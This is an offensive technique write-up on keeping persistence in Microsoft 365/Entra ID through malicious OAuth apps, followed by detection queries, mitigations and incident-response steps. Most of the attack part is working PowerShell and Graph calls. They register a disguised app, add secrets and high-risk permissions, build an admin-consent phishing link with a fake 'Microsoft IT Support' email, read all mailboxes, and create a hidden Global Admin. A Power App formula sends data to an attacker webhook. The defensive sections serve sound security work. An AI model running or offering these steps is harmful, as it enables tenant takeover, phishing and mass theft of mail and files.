| Attribute | Details |
|---|---|
| Technique ID | PERSIST-SERVER-007 |
| MITRE ATT&CK v18.1 | T1505.003 - Server Software Component: Web Shell (adapted for SaaS context) |
| Tactic | Persistence (TA0003) |
| Platforms | M365/Entra ID, SaaS Applications (cloud-hosted) |
| Severity | Critical |
| CVE | N/A (configuration-based attack) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All Entra ID versions, all M365 workloads (Exchange Online, SharePoint Online, Teams, OneDrive) |
| Patched In | N/A - Requires policy enforcement and continuous monitoring |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Unlike traditional web shells (T1505.003) deployed to physical servers, SaaS backdoors leverage OAuth 2.0 and cloud application registration to establish persistence within cloud environments. An attacker with access to a compromised user account or administrative privileges can register a malicious application (OAuth app, custom connector, Power App, or Teams bot) that maintains access independently of user credentials. Once registered and authorized, the malicious application receives refresh tokens and API permissions, allowing it to:
Attack Surface: The attack targets SaaS application ecosystems, specifically:
Business Impact: Complete cloud tenant compromise with data exfiltration at scale. An attacker can read all emails, download all files from SharePoint/OneDrive, access Teams messages and channel data, modify user accounts, create new admin accounts, grant themselves additional permissions, and pivot to on-premises Active Directory via hybrid identity bridges (Azure AD Connect). If the malicious app has Global Admin permissions (or worse, can create Global Admin accounts), the attacker essentially owns the entire Microsoft 365 environment.
Technical Context: Malicious app registration takes seconds (just creating an Entra ID application). The attack is extremely stealthy because:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | Identity-2, Identity-3 | Ensure that only administrators can register applications; Ensure that user consent is restricted |
| DISA STIG | SI-12 | Information Security Monitoring and Alerting – Detect unauthorized application registrations |
| CISA SCuBA | Entra ID Baseline | Restrict non-admin app registrations; monitor for risky OAuth apps |
| NIST 800-53 | AC-3, AC-6 | Access Enforcement; Least Privilege (apps should request minimum scopes) |
| GDPR | Art. 32 | Security of Processing – Prevent unauthorized applications from accessing personal data |
| DORA | Art. 9 | Protection and Prevention – Detect and prevent unauthorized software deployment in cloud environments |
| NIS2 | Art. 21 | Cyber Risk Management – Continuous monitoring of cloud identity and access systems |
| ISO 27001 | A.6.1.2 | Authorization of Information Processing Facilities (control who can register applications) |
| ISO 27005 | Risk Scenario | “Compromise of Application Authorization” – Unauthorized applications obtaining valid permissions |
Required Privileges:
Required Access:
Supported Versions:
Tools:
# Connect to Entra ID
Connect-MgGraph -Scopes "Application.ReadWrite.All", "Directory.ReadWrite.All"
# Check if users can register applications (default: $true in most tenants)
$tenantSettings = Get-MgPoliciesAuthorizationPolicy
$tenantSettings | Select-Object -Property Id, DisplayName | Format-List
# Check the specific setting (Users can register applications)
# If the setting is $true, any user can register apps
# Navigate to Entra ID → User settings → App registrations to verify
What to Look For:
# List all applications in the tenant
Get-MgApplication -All | Select-Object Id, DisplayName, CreatedDateTime, PublisherName | Format-Table
# Get all service principals (registered apps with assigned permissions)
Get-MgServicePrincipal -All | Select-Object Id, DisplayName, AppId, AppDescription | Format-Table
# Check which apps have been granted admin consent
Get-MgServicePrincipal -All | Where-Object { $_.ServicePrincipalType -eq "Application" } | ForEach-Object {
$appId = $_.AppId
$displayName = $_.DisplayName
$oauth2PermissionGrants = Get-MgOauth2PermissionGrant -Filter "clientId eq '$appId'"
if ($oauth2PermissionGrants) {
Write-Host "App: $displayName - Has OAuth2 Permissions"
}
}
# Get all apps with high-risk permissions (Mail.ReadWrite.All, Directory.ReadWrite.All)
Get-MgServicePrincipal -All | ForEach-Object {
$sp = $_
Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id | Where-Object {
$_.AppRoleId -match "Mail.ReadWrite|Directory.ReadWrite|User.Invite.All"
} | ForEach-Object {
Write-Host "High-Risk Permission on $($sp.DisplayName): $($_.PrincipalDisplayName)"
}
}
# List all applications
az ad app list --output table
# Get app with specific permissions
az ad sp list --filter "appOwnerOrganizationId eq '[tenant-id]'" --output table
# Check app registration details
az ad app list --query "[].{id:id, displayName:displayName, createdDateTime:metadata.createdDateTime}"
Supported Versions: All Entra ID versions
Objective: Create a new OAuth application that appears legitimate but is fully controlled by the attacker
Command (Azure Portal):
Microsoft 365 Sync Manager (innocuous-sounding name)Accounts in any organizational directory (Any Azure AD directory – Multitenant)http://localhost:8080 (or attacker-controlled URL)Command (PowerShell):
# Connect to Graph API
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# Create a malicious application registration
$appParams = @{
DisplayName = "Microsoft 365 Sync Manager"
PublicClient = $false
Owners = @()
}
$app = New-MgApplication @appParams
Write-Host "Application Created: $($app.Id)"
Write-Host "Application ID (Client ID): $($app.AppId)"
Expected Output:
Application Created: 550e8400-e29b-41d4-a716-446655440000
Application ID (Client ID): a1b2c3d4-e5f6-7890-abcd-ef1234567890
What This Means:
OpSec & Evasion:
Objective: Generate credentials that allow the malicious app to authenticate without user interaction
Command (PowerShell):
$appId = "550e8400-e29b-41d4-a716-446655440000" # From Step 1
# Create a client secret (password credential)
$passwordCredParams = @{
DisplayName = "Default"
EndDateTime = (Get-Date).AddYears(2) # 2-year expiration
}
$passwordCred = Add-MgApplicationPassword -ApplicationId $appId @passwordCredParams
Write-Host "Client Secret (Password): $($passwordCred.SecretText)"
Write-Host "Secret Expires: $($passwordCred.EndDateTime)"
# Save these credentials - you'll need them for authentication
# Also note: This secret is ONLY shown once, so copy it immediately
Expected Output:
Client Secret (Password): AbCdEfGhIjKlMnOpQrStUvWxYz1234567890==
Secret Expires: 2028-01-09 12:34:56
What This Means:
AppId and ClientSecretOpSec & Evasion:
Troubleshooting:
Objective: Request API permissions that give the app access to mail, files, and user management
Command (PowerShell):
$appId = "550e8400-e29b-41d4-a716-446655440000"
$app = Get-MgApplication -Filter "appId eq '$appId'"
# Get the service principal for this app
$sp = New-MgServicePrincipal -AppId $app.AppId -ErrorAction SilentlyContinue
# Add dangerous API permissions (without requiring user consent)
$requiredResourceAccess = @(
@{
ResourceAppId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph
ResourceAccess = @(
@{
Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d" # User.Read.All
Type = "Scope"
},
@{
Id = "b633e1c5-b582-4048-a93e-9f11b44c7e96" # Mail.ReadWrite.All
Type = "Scope"
},
@{
Id = "06da0dbc-49b3-46f5-8355-3ce8f3db36eb" # Directory.ReadWrite.All
Type = "Scope"
},
@{
Id = "4e46008b-629b-43ba-ba14-13d440eb0a10" # Files.ReadWrite.All (OneDrive/SharePoint)
Type = "Scope"
}
)
}
)
# Update the app with required resource access
Update-MgApplication -ApplicationId $app.Id -RequiredResourceAccess $requiredResourceAccess
Write-Host "Permissions added to application"
What This Means:
Dangerous Permission IDs:
Mail.ReadWrite.All - Read and write all mailboxesDirectory.ReadWrite.All - Modify all directory objects (users, groups, roles)Files.ReadWrite.All - Access all files in SharePoint and OneDriveUser.Invite.All - Invite external users (create guest accounts)User.ManageIdentities.All - Manage user identities (reset passwords, change MFA)Objective: Get an administrator to grant admin consent, activating the app’s permissions
Consent Phishing Method (Using OAuth Phishing URL):
$tenantId = "your-tenant-id"
$clientId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890" # App ID
$redirectUri = "http://localhost:8080/callback"
# Build the OAuth consent request URL
$consentUrl = "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/authorize?" +
"client_id=$clientId&" +
"response_type=code&" +
"scope=User.Read Mail.ReadWrite.All Directory.ReadWrite.All Files.ReadWrite.All&" +
"redirect_uri=$redirectUri&" +
"prompt=admin_consent" # Force admin consent, not user consent
Write-Host "Send this URL to an admin (via phishing email):"
Write-Host $consentUrl
Expected Output:
https://login.microsoftonline.com/a1b2c3d4-e5f6-7890-abcd-ef1234567890/oauth2/v2.0/authorize?
client_id=a1b2c3d4-e5f6-7890-abcd-ef1234567890&
response_type=code&
scope=User.Read Mail.ReadWrite.All Directory.ReadWrite.All Files.ReadWrite.All&
redirect_uri=http://localhost:8080/callback&
prompt=admin_consent
Phishing Email Template:
Subject: ACTION REQUIRED: Update Your Microsoft 365 Integration
Hi [Admin Name],
Your Teams integration needs to be re-authenticated. Please click the link below to authorize the update:
[CONSENT_URL_HERE]
This is required to maintain connectivity with your email and collaboration services.
Thanks,
Microsoft IT Support
What Happens When Admin Clicks:
OpSec & Evasion:
Objective: Use the granted permissions to access user data, emails, files, and directory information
Command (Get Access Token):
$tenantId = "your-tenant-id"
$clientId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
$clientSecret = "AbCdEfGhIjKlMnOpQrStUvWxYz1234567890=="
# Request an access token using client credentials
$tokenUrl = "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token"
$body = @{
grant_type = "client_credentials"
client_id = $clientId
client_secret = $clientSecret
scope = "https://graph.microsoft.com/.default"
}
$response = Invoke-RestMethod -Uri $tokenUrl -Method POST -Body $body
$accessToken = $response.access_token
Write-Host "Access Token Acquired (valid for 1 hour)"
Write-Host $accessToken
Command (Access Email via Microsoft Graph API):
# Use the access token to read all emails
$headers = @{
Authorization = "Bearer $accessToken"
"Content-Type" = "application/json"
}
# Get all users
$usersUri = "https://graph.microsoft.com/v1.0/users?`$select=id,userPrincipalName,mail&`$top=999"
$users = (Invoke-RestMethod -Uri $usersUri -Headers $headers).value
foreach ($user in $users) {
Write-Host "User: $($user.userPrincipalName)"
# Get mailbox of each user
$mailUri = "https://graph.microsoft.com/v1.0/users/$($user.id)/mailfolders/inbox/messages?`$top=10"
$emails = (Invoke-RestMethod -Uri $mailUri -Headers $headers).value
foreach ($email in $emails) {
Write-Host " Email: $($email.subject) from $($email.from.emailAddress.address)"
}
}
# Export all emails to file
$exportUri = "https://graph.microsoft.com/v1.0/users?`$select=id,userPrincipalName"
$allUsers = (Invoke-RestMethod -Uri $exportUri -Headers $headers).value
$allUsers | Export-Csv "C:\exfiltrated_users.csv"
Command (Create Global Admin Account):
# Create a new user account with Global Admin role
$newUserUri = "https://graph.microsoft.com/v1.0/users"
$newUserBody = @{
accountEnabled = $true
displayName = "System Maintenance Account"
mailNickname = "sysmaint"
userPrincipalName = "sysmaint@yourtenant.onmicrosoft.com"
passwordProfile = @{
forceChangePasswordNextSignIn = $false
password = "P@ssw0rd123!@#"
}
} | ConvertTo-Json
$newUser = Invoke-RestMethod -Uri $newUserUri -Method POST -Headers $headers -Body $newUserBody
$newUserId = $newUser.id
# Assign Global Admin role to the new user
$roleUri = "https://graph.microsoft.com/v1.0/directoryRoles/members/`$ref"
$roleBody = @{
"@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$newUserId"
} | ConvertTo-Json
Invoke-RestMethod -Uri $roleUri -Method POST -Headers $headers -Body $roleBody
Write-Host "Global Admin account created: sysmaint@yourtenant.onmicrosoft.com"
What This Means:
OpSec & Evasion:
Supported Versions: All Entra ID versions
Objective: Register an application that can operate across multiple Azure AD tenants
Command (PowerShell):
# Register the app as multi-tenant
$appParams = @{
DisplayName = "OneDrive Sync Helper"
SignInAudience = "AzureADMultipleOrgs" # Makes it multi-tenant
}
$multiTenantApp = New-MgApplication @appParams
Step 2: Deploy in Victim Tenant and Extract Token
Objective: Once a victim admin consents in another tenant, extract their token for reuse
Command:
# In the victim tenant, the attacker can now:
# 1. Request a token from the victim tenant
# 2. Use that token to access victim tenant resources
# 3. Token is valid even if victim admin discovers and removes the app
$victimTenantId = "victim-tenant-id"
$tokenUrl = "https://login.microsoftonline.com/$victimTenantId/oauth2/v2.0/token"
$body = @{
grant_type = "client_credentials"
client_id = "attacker-app-id"
client_secret = "attacker-secret"
scope = "https://graph.microsoft.com/.default"
}
$victimToken = (Invoke-RestMethod -Uri $tokenUrl -Method POST -Body $body).access_token
What This Means:
Supported Versions: All M365 environments with Power Platform enabled
Objective: Create a visually harmless Power App that exfiltrates data to attacker-controlled endpoint
Command (Power Apps Studio):
System Performance Monitor# Power Apps formula (use this in the Power App's code editor)
ClearCollect(
AllUsers,
'Office 365 Users'.SearchUserV2(
{SearchTerm: "*"}
).value
);
ClearCollect(
AllEmails,
Office365Outlook.GetEmails(
{folderPath: "inbox"}
).value
);
// Exfiltrate to attacker webhook
Notify(
"Syncing...",
NotificationType.Success
);
// Send data to attacker's webhook URL
ForAll(
AllUsers,
Patch(
'AllUsers',
ThisRecord,
{
Synced: true
}
);
Patch(
'http://attacker-webhook.com/exfil',
ThisRecord,
{
Method: "POST",
Headers: {"Authorization": "Bearer " & User().Email},
Body: JSON(ThisRecord)
}
)
);
What This Means:
Version: 2.0+
Installation:
Install-Module Microsoft.Graph
Update-Module Microsoft.Graph
Key Commands:
# Connect to Graph
Connect-MgGraph -Scopes "Application.ReadWrite.All", "Directory.ReadWrite.All"
# Create app
New-MgApplication -DisplayName "MyApp"
# Add secret
Add-MgApplicationPassword -ApplicationId [AppId]
# Grant permissions
Update-MgApplication -ApplicationId [AppId] -RequiredResourceAccess $requiredResourceAccess
# List all apps
Get-MgApplication -All
Purpose: Enumerate Entra ID and generate tokens
Installation:
pip install roadrecon
Usage:
# Enumerate Entra ID
roadrecon gather
# Generate access token
roadrecon auth -u [user] -p [password]
Rule Configuration:
azure_activityazure:aad:auditSPL Query:
index=azure_activity operationName="Add application"
| search properties.appId=*
| stats count by properties.displayName, properties.appId, InitiatedBy.user.userPrincipalName, _time
| where count > 0
| table _time, properties.displayName, properties.appId, InitiatedBy.user.userPrincipalName
What This Detects:
SPL Query:
index=azure_activity operationName="Consent to application" OR operationName="Grant admin consent"
| search properties.consentType=AllPrincipals
| stats count by properties.displayName, properties.clientAppId, InitiatedBy.user.userPrincipalName, _time
| where count > 0
What This Detects:
Rule Configuration:
AuditLogsKQL Query:
AuditLogs
| where OperationName in ("Add application", "Add service principal")
| extend AppId = tostring(TargetResources[0].id)
| extend AppDisplayName = tostring(TargetResources[0].displayName)
| join kind=leftouter (
AuditLogs
| where OperationName in ("Consent to application", "Admin consent")
| extend AppId = tostring(parse_json(tostring(parse_json(Properties).targetResources))[0].id)
) on AppId
| where ResultDescription contains "success"
| project TimeGenerated, InitiatedByUser=InitiatedBy.user.userPrincipalName, AppDisplayName, AppId, OperationName
What This Detects:
KQL Query:
CloudAppEvents
| where Application == "Microsoft Graph"
| where ActionType in ("Get", "Post", "Patch", "Delete")
| where RawEventData.AppId != "" // Not user interactive
| where RawEventData.RequestUri contains "users" OR RawEventData.RequestUri contains "mail"
| summarize EventCount = count() by RawEventData.AppId, RawEventData.UserAgent, bin(TimeGenerated, 5m)
| where EventCount > 100 // High volume of API calls
Event logs don’t directly capture SaaS OAuth activity. However, monitor for:
Event ID: 4688 (Process Creation)
powershell.exe → Invoke-RestMethod with Microsoft Graph URLManual Configuration:
https://graph.microsoft.comAlert Name: “Unusual OAuth app activity detected”
Search-UnifiedAuditLog -Operations "Add application", "Consent to application", "Admin consent" `
-StartDate (Get-Date).AddDays(-30) `
| Export-Csv -Path "C:\oauth_audit.csv" -NoTypeInformation
Fields to Analyze:
ObjectId: Application IDUserId: Admin who granted consentCreationTime: When the action occurredResultStatus: Success/Failure1. Restrict Non-Admin App Registrations
Prevent regular users from creating malicious apps.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Restrict app registration to admins only
Update-MgPolicyAuthorizationPolicy -DefaultUserRolePermissions @{
AllowedToCreateApps = $false
}
2. Enforce Admin Consent Requirement
Prevent users from granting permissions; require admin approval.
Manual Steps:
3. Block Risky Permissions
Create policies that prevent applications from requesting dangerous scopes.
Manual Steps:
4. Implement Conditional Access for App Registration
Manual Steps:
Restrict App Registration to Specific Groups5. Monitor OAuth App Lifecycle
Set up alerts for new app registrations.
Manual Steps (Log Analytics):
AuditLogs
| where OperationName == "Add application"
| where ResultDescription == "success"
| project TimeGenerated, InitiatedBy=InitiatedBy.user.userPrincipalName, AppName=TargetResources[0].displayName
6. Conditional Access: Block Legacy Authentication
ConditionalAccessPolicies
| Create policy: "Block Legacy Auth for Apps"
| Conditions: ClientApps = "Legacy Authentication Clients"
| Access Control: Block
Validation Command (Verify Mitigations):
# Verify app registration restrictions
$authPolicy = Get-MgPolicyAuthorizationPolicy
$authPolicy | Select-Object DefaultUserRolePermissions
# Expected Output: AllowedToCreateApps: False (if secure)
# Check user consent settings
Get-MgPolicyConsentRequestPolicy
Expected Output (If Secure):
AllowedToCreateApps : False
AllowedToCreateSecurityGroups : False
Suspicious Apps:
Mail.ReadWrite.All, Directory.ReadWrite.All, User.Invite.All permissionsSuspicious Consent Events:
prompt=admin_consent in audit logs)Suspicious API Activity:
GET /users requests (user enumeration)Cloud Audit Logs:
AuditLogs: Look for “Add application” and “Consent to application” eventsAuditLogs: Look for “Add app role assignment” showing risky permissionsCloudAppEvents: Look for high-volume Graph API calls from service principalsApplication Details:
1. Isolate:
# Disable the malicious app
Update-MgServicePrincipal -ServicePrincipalId [SuspiciousAppId] -AccountEnabled $false
# Alternatively, delete the app entirely
Remove-MgApplication -ApplicationId [SuspiciousAppId]
2. Collect Evidence:
# Export audit logs showing app usage
Search-UnifiedAuditLog -Operations "Add application", "Consent to application" `
-StartDate (Get-Date).AddDays(-30) `
| Export-Csv -Path "C:\Investigation\app_audit.csv"
# Export all apps and their permissions
Get-MgApplication -All | Export-Csv -Path "C:\Investigation\all_apps.csv"
# Export service principals with recent activity
Get-MgServicePrincipal -All | Where-Object { $_.LastPasswordChangeDateTime -gt (Get-Date).AddDays(-30) } `
| Export-Csv -Path "C:\Investigation\recent_apps.csv"
3. Remediate:
# Revoke all tokens issued to the app
Revoke-MgUserSignInSession -UserId [AffectedUserId]
# Reset all passwords that may have been compromised
Set-MgUserPassword -UserId [AffectedUserId] -NewPassword (ConvertTo-SecureString -String "NewP@ssw0rd123" -AsPlainText -Force)
# Revoke admin consent from the app
Remove-MgServicePrincipal -ServicePrincipalId [SuspiciousAppId]
# Check for and remove any additional admin accounts created by attacker
Get-MgUser -Filter "displayName contains 'System' or displayName contains 'Sync'" | Format-List
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attack | Attacker tricks user into authorizing malicious app via phishing |
| 2 | Credential Access | [CA-UNSC-010] Service Principal Secrets Harvesting | Attacker extracts OAuth app credentials from Key Vault or config |
| 3 | Privilege Escalation | [PE-ACCTMGMT-001] App Registration Permissions Escalation | Attacker adds dangerous permissions to existing app registration |
| 4 | Current Step | [PERSIST-SERVER-007] | Attacker registers malicious OAuth app, achieves persistence |
| 5 | Collection | [C-CLOUD-001] Cloud Data Exfiltration via APIs | Attacker uses app credentials to bulk-export emails, files, user data |
| 6 | Impact | [I-RANSOM-001] Tenant-Wide Encryption | Attacker uses app to encrypt all SharePoint sites and mailboxes |
Verify Technique Viability:
# Check if user can register apps
Get-MgContext
Get-MgPoliciesAuthorizationPolicy | Select-Object DefaultUserRolePermissions
# List existing apps
Get-MgApplication -Top 5 | Select-Object DisplayName, AppId, CreatedDateTime
Post-Exploitation Verification:
# Verify backdoor app can access data
$tokenUrl = "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token"
$body = @{
grant_type = "client_credentials"
client_id = $appId
client_secret = $secret
scope = "https://graph.microsoft.com/.default"
}
$token = (Invoke-RestMethod -Uri $tokenUrl -Method POST -Body $body).access_token
# Try to access users (if successful, persistence achieved)
$headers = @{ Authorization = "Bearer $token" }
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users?`$top=5" -Headers $headers